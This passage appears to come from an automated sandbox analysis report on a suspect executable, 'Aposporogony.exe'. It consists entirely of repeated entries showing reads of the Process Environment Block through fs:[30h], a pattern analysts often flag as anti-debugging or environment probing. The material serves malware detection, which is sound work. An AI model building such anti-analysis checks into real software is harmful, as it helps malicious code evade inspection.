Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CD8A mov eax, dword ptr fs:[00000030h]	4_2_1D83CD8A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CD8A mov eax, dword ptr fs:[00000030h]	4_2_1D83CD8A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D846D91 mov eax, dword ptr fs:[00000030h]	4_2_1D846D91
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D836DA6 mov eax, dword ptr fs:[00000030h]	4_2_1D836DA6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D847DB6 mov eax, dword ptr fs:[00000030h]	4_2_1D847DB6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83DDB0 mov eax, dword ptr fs:[00000030h]	4_2_1D83DDB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914DA7 mov eax, dword ptr fs:[00000030h]	4_2_1D914DA7
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872DBC mov eax, dword ptr fs:[00000030h]	4_2_1D872DBC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872DBC mov ecx, dword ptr fs:[00000030h]	4_2_1D872DBC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D838DCD mov eax, dword ptr fs:[00000030h]	4_2_1D838DCD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FADD6 mov eax, dword ptr fs:[00000030h]	4_2_1D8FADD6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FADD6 mov eax, dword ptr fs:[00000030h]	4_2_1D8FADD6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84BDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D84BDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86FDE0 mov eax, dword ptr fs:[00000030h]	4_2_1D86FDE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83EDFA mov eax, dword ptr fs:[00000030h]	4_2_1D83EDFA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EFDF4 mov eax, dword ptr fs:[00000030h]	4_2_1D8EFDF4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90CDEB mov eax, dword ptr fs:[00000030h]	4_2_1D90CDEB
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90CDEB mov eax, dword ptr fs:[00000030h]	4_2_1D90CDEB
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84AD00 mov eax, dword ptr fs:[00000030h]	4_2_1D84AD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D860D01 mov eax, dword ptr fs:[00000030h]	4_2_1D860D01
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FBD08 mov eax, dword ptr fs:[00000030h]	4_2_1D8FBD08
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FBD08 mov eax, dword ptr fs:[00000030h]	4_2_1D8FBD08
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D8D0A mov eax, dword ptr fs:[00000030h]	4_2_1D8D8D0A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CCD00 mov eax, dword ptr fs:[00000030h]	4_2_1D8CCD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CCD00 mov eax, dword ptr fs:[00000030h]	4_2_1D8CCD00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86CD10 mov eax, dword ptr fs:[00000030h]	4_2_1D86CD10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86CD10 mov ecx, dword ptr fs:[00000030h]	4_2_1D86CD10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83FD20 mov eax, dword ptr fs:[00000030h]	4_2_1D83FD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov ecx, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AD20 mov eax, dword ptr fs:[00000030h]	4_2_1D86AD20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8F0D24 mov eax, dword ptr fs:[00000030h]	4_2_1D8F0D24
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8F0D24 mov eax, dword ptr fs:[00000030h]	4_2_1D8F0D24
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8F0D24 mov eax, dword ptr fs:[00000030h]	4_2_1D8F0D24
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8F0D24 mov eax, dword ptr fs:[00000030h]	4_2_1D8F0D24
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D839D46 mov eax, dword ptr fs:[00000030h]	4_2_1D839D46
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D839D46 mov eax, dword ptr fs:[00000030h]	4_2_1D839D46
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D839D46 mov ecx, dword ptr fs:[00000030h]	4_2_1D839D46
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DD4D mov eax, dword ptr fs:[00000030h]	4_2_1D85DD4D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DD4D mov eax, dword ptr fs:[00000030h]	4_2_1D85DD4D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DD4D mov eax, dword ptr fs:[00000030h]	4_2_1D85DD4D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BCD40 mov eax, dword ptr fs:[00000030h]	4_2_1D8BCD40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BCD40 mov eax, dword ptr fs:[00000030h]	4_2_1D8BCD40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1D5E mov eax, dword ptr fs:[00000030h]	4_2_1D8C1D5E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D905D43 mov eax, dword ptr fs:[00000030h]	4_2_1D905D43
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D905D43 mov eax, dword ptr fs:[00000030h]	4_2_1D905D43
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841D50 mov eax, dword ptr fs:[00000030h]	4_2_1D841D50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841D50 mov eax, dword ptr fs:[00000030h]	4_2_1D841D50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914D4B mov eax, dword ptr fs:[00000030h]	4_2_1D914D4B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D855D60 mov eax, dword ptr fs:[00000030h]	4_2_1D855D60
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C5D60 mov eax, dword ptr fs:[00000030h]	4_2_1D8C5D60
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D915D65 mov eax, dword ptr fs:[00000030h]	4_2_1D915D65
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BD71 mov eax, dword ptr fs:[00000030h]	4_2_1D87BD71
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BD71 mov eax, dword ptr fs:[00000030h]	4_2_1D87BD71
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E6D79 mov esi, dword ptr fs:[00000030h]	4_2_1D8E6D79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837C85 mov eax, dword ptr fs:[00000030h]	4_2_1D837C85
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837C85 mov eax, dword ptr fs:[00000030h]	4_2_1D837C85
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837C85 mov eax, dword ptr fs:[00000030h]	4_2_1D837C85
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837C85 mov eax, dword ptr fs:[00000030h]	4_2_1D837C85
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837C85 mov eax, dword ptr fs:[00000030h]	4_2_1D837C85
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C3C80 mov ecx, dword ptr fs:[00000030h]	4_2_1D8C3C80
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D847C95 mov eax, dword ptr fs:[00000030h]	4_2_1D847C95
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D847C95 mov eax, dword ptr fs:[00000030h]	4_2_1D847C95
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E9C98 mov ecx, dword ptr fs:[00000030h]	4_2_1D8E9C98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E9C98 mov eax, dword ptr fs:[00000030h]	4_2_1D8E9C98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E9C98 mov eax, dword ptr fs:[00000030h]	4_2_1D8E9C98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E9C98 mov eax, dword ptr fs:[00000030h]	4_2_1D8E9C98
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FFC95 mov eax, dword ptr fs:[00000030h]	4_2_1D8FFC95
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D836CC0 mov eax, dword ptr fs:[00000030h]	4_2_1D836CC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D836CC0 mov eax, dword ptr fs:[00000030h]	4_2_1D836CC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D836CC0 mov eax, dword ptr fs:[00000030h]	4_2_1D836CC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914CD2 mov eax, dword ptr fs:[00000030h]	4_2_1D914CD2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D876CC0 mov eax, dword ptr fs:[00000030h]	4_2_1D876CC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D879CCF mov eax, dword ptr fs:[00000030h]	4_2_1D879CCF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84FCC9 mov eax, dword ptr fs:[00000030h]	4_2_1D84FCC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DCD1 mov eax, dword ptr fs:[00000030h]	4_2_1D85DCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DCD1 mov eax, dword ptr fs:[00000030h]	4_2_1D85DCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DCD1 mov eax, dword ptr fs:[00000030h]	4_2_1D85DCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CCD1 mov ecx, dword ptr fs:[00000030h]	4_2_1D87CCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CCD1 mov eax, dword ptr fs:[00000030h]	4_2_1D87CCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CCD1 mov eax, dword ptr fs:[00000030h]	4_2_1D87CCD1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D868CDF mov eax, dword ptr fs:[00000030h]	4_2_1D868CDF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D868CDF mov eax, dword ptr fs:[00000030h]	4_2_1D868CDF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D3CD4 mov eax, dword ptr fs:[00000030h]	4_2_1D8D3CD4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D3CD4 mov eax, dword ptr fs:[00000030h]	4_2_1D8D3CD4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D3CD4 mov ecx, dword ptr fs:[00000030h]	4_2_1D8D3CD4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D3CD4 mov eax, dword ptr fs:[00000030h]	4_2_1D8D3CD4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D3CD4 mov eax, dword ptr fs:[00000030h]	4_2_1D8D3CD4
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C5CD0 mov eax, dword ptr fs:[00000030h]	4_2_1D8C5CD0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C0CEE mov eax, dword ptr fs:[00000030h]	4_2_1D8C0CEE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D7CE8 mov eax, dword ptr fs:[00000030h]	4_2_1D8D7CE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837CF1 mov eax, dword ptr fs:[00000030h]	4_2_1D837CF1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843CF0 mov eax, dword ptr fs:[00000030h]	4_2_1D843CF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843CF0 mov eax, dword ptr fs:[00000030h]	4_2_1D843CF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86ECF3 mov eax, dword ptr fs:[00000030h]	4_2_1D86ECF3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86ECF3 mov eax, dword ptr fs:[00000030h]	4_2_1D86ECF3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BCCF0 mov ecx, dword ptr fs:[00000030h]	4_2_1D8BCCF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872C10 mov eax, dword ptr fs:[00000030h]	4_2_1D872C10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872C10 mov eax, dword ptr fs:[00000030h]	4_2_1D872C10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872C10 mov eax, dword ptr fs:[00000030h]	4_2_1D872C10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872C10 mov eax, dword ptr fs:[00000030h]	4_2_1D872C10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853C20 mov eax, dword ptr fs:[00000030h]	4_2_1D853C20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85AC20 mov eax, dword ptr fs:[00000030h]	4_2_1D85AC20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85AC20 mov eax, dword ptr fs:[00000030h]	4_2_1D85AC20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85AC20 mov eax, dword ptr fs:[00000030h]	4_2_1D85AC20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D905C38 mov eax, dword ptr fs:[00000030h]	4_2_1D905C38
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D905C38 mov ecx, dword ptr fs:[00000030h]	4_2_1D905C38
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D7C38 mov eax, dword ptr fs:[00000030h]	4_2_1D8D7C38
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D874C3D mov eax, dword ptr fs:[00000030h]	4_2_1D874C3D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D838C3D mov eax, dword ptr fs:[00000030h]	4_2_1D838C3D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83DC40 mov eax, dword ptr fs:[00000030h]	4_2_1D83DC40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853C40 mov eax, dword ptr fs:[00000030h]	4_2_1D853C40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914C59 mov eax, dword ptr fs:[00000030h]	4_2_1D914C59
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C3C57 mov eax, dword ptr fs:[00000030h]	4_2_1D8C3C57
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BC6E mov eax, dword ptr fs:[00000030h]	4_2_1D87BC6E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BC6E mov eax, dword ptr fs:[00000030h]	4_2_1D87BC6E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CC68 mov eax, dword ptr fs:[00000030h]	4_2_1D83CC68
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D840C79 mov eax, dword ptr fs:[00000030h]	4_2_1D840C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D840C79 mov eax, dword ptr fs:[00000030h]	4_2_1D840C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D840C79 mov eax, dword ptr fs:[00000030h]	4_2_1D840C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D848C79 mov eax, dword ptr fs:[00000030h]	4_2_1D848C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D848C79 mov eax, dword ptr fs:[00000030h]	4_2_1D848C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D848C79 mov eax, dword ptr fs:[00000030h]	4_2_1D848C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D848C79 mov eax, dword ptr fs:[00000030h]	4_2_1D848C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D848C79 mov eax, dword ptr fs:[00000030h]	4_2_1D848C79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F8B mov eax, dword ptr fs:[00000030h]	4_2_1D8C8F8B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F8B mov eax, dword ptr fs:[00000030h]	4_2_1D8C8F8B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F8B mov eax, dword ptr fs:[00000030h]	4_2_1D8C8F8B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov ecx, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D850F90 mov eax, dword ptr fs:[00000030h]	4_2_1D850F90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86BF93 mov eax, dword ptr fs:[00000030h]	4_2_1D86BF93
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841FAA mov eax, dword ptr fs:[00000030h]	4_2_1D841FAA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D844FB6 mov eax, dword ptr fs:[00000030h]	4_2_1D844FB6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86CFB0 mov eax, dword ptr fs:[00000030h]	4_2_1D86CFB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86CFB0 mov eax, dword ptr fs:[00000030h]	4_2_1D86CFB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D878FBC mov eax, dword ptr fs:[00000030h]	4_2_1D878FBC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83BFC0 mov eax, dword ptr fs:[00000030h]	4_2_1D83BFC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C1FC9 mov eax, dword ptr fs:[00000030h]	4_2_1D8C1FC9
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D839FD0 mov eax, dword ptr fs:[00000030h]	4_2_1D839FD0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov eax, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov eax, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov eax, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov ecx, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov eax, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFFDC mov eax, dword ptr fs:[00000030h]	4_2_1D8BFFDC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914FFF mov eax, dword ptr fs:[00000030h]	4_2_1D914FFF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D868FFB mov eax, dword ptr fs:[00000030h]	4_2_1D868FFB
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85CF00 mov eax, dword ptr fs:[00000030h]	4_2_1D85CF00
